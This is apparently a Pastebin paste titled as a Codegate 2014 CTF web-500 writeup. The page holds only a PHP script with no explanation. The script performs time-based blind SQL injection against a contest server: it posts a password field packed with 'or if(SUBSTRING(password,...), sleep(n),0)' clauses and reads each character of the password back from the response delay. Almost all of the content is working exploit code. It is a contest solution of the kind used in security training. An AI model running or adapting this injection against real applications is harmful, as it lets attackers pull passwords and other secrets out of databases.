Advertisement
Guest User

codegate 2014 web 500 writeup

a guest
Feb 24th, 2014
675
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.97 KB | None | 0 0
  1. <?php
  2. $char = 'abcdefghijklmnopqrstuvwxyz';
  3.  
  4. for($i=0; $i<30; $i++) {
  5.  
  6.     $ch = curl_init('http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php');
  7.    
  8.     curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  9.     curl_setopt($ch, CURLOPT_POST, true);  
  10.     curl_setopt($ch, CURLOPT_COOKIE, 'PHPSESSID=hbfnn1it8lvi303i6jn2bk05d7');
  11.    
  12.     $query = "";
  13.     $query .= "'";  
  14.    
  15.     for($j=0; $j<26; $j++) {
  16.         $left = $i + 1;
  17.         $sleeptime = $j + 1;    
  18.         $query .= " or if(SUBSTRING(password,$left,1) = '$char[$j]', sleep($sleeptime),0)";        
  19.     }
  20.    
  21.     $query .= " and '1'='1";  
  22.  
  23.     curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query( array( "password"=> $query) ));    
  24.  
  25.     curl_exec($ch);
  26.     $info = curl_getinfo($ch);
  27.     $guess = $char[abs($info['total_time'])-1];
  28.     echo "{$i} - {$info['total_time']} - {$guess}\n";  
  29.     #echo "====\n";
  30.    #echo $query;
  31.    #echo "====\n";
  32.    
  33.     curl_close($ch);
  34.    
  35. }
  36. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement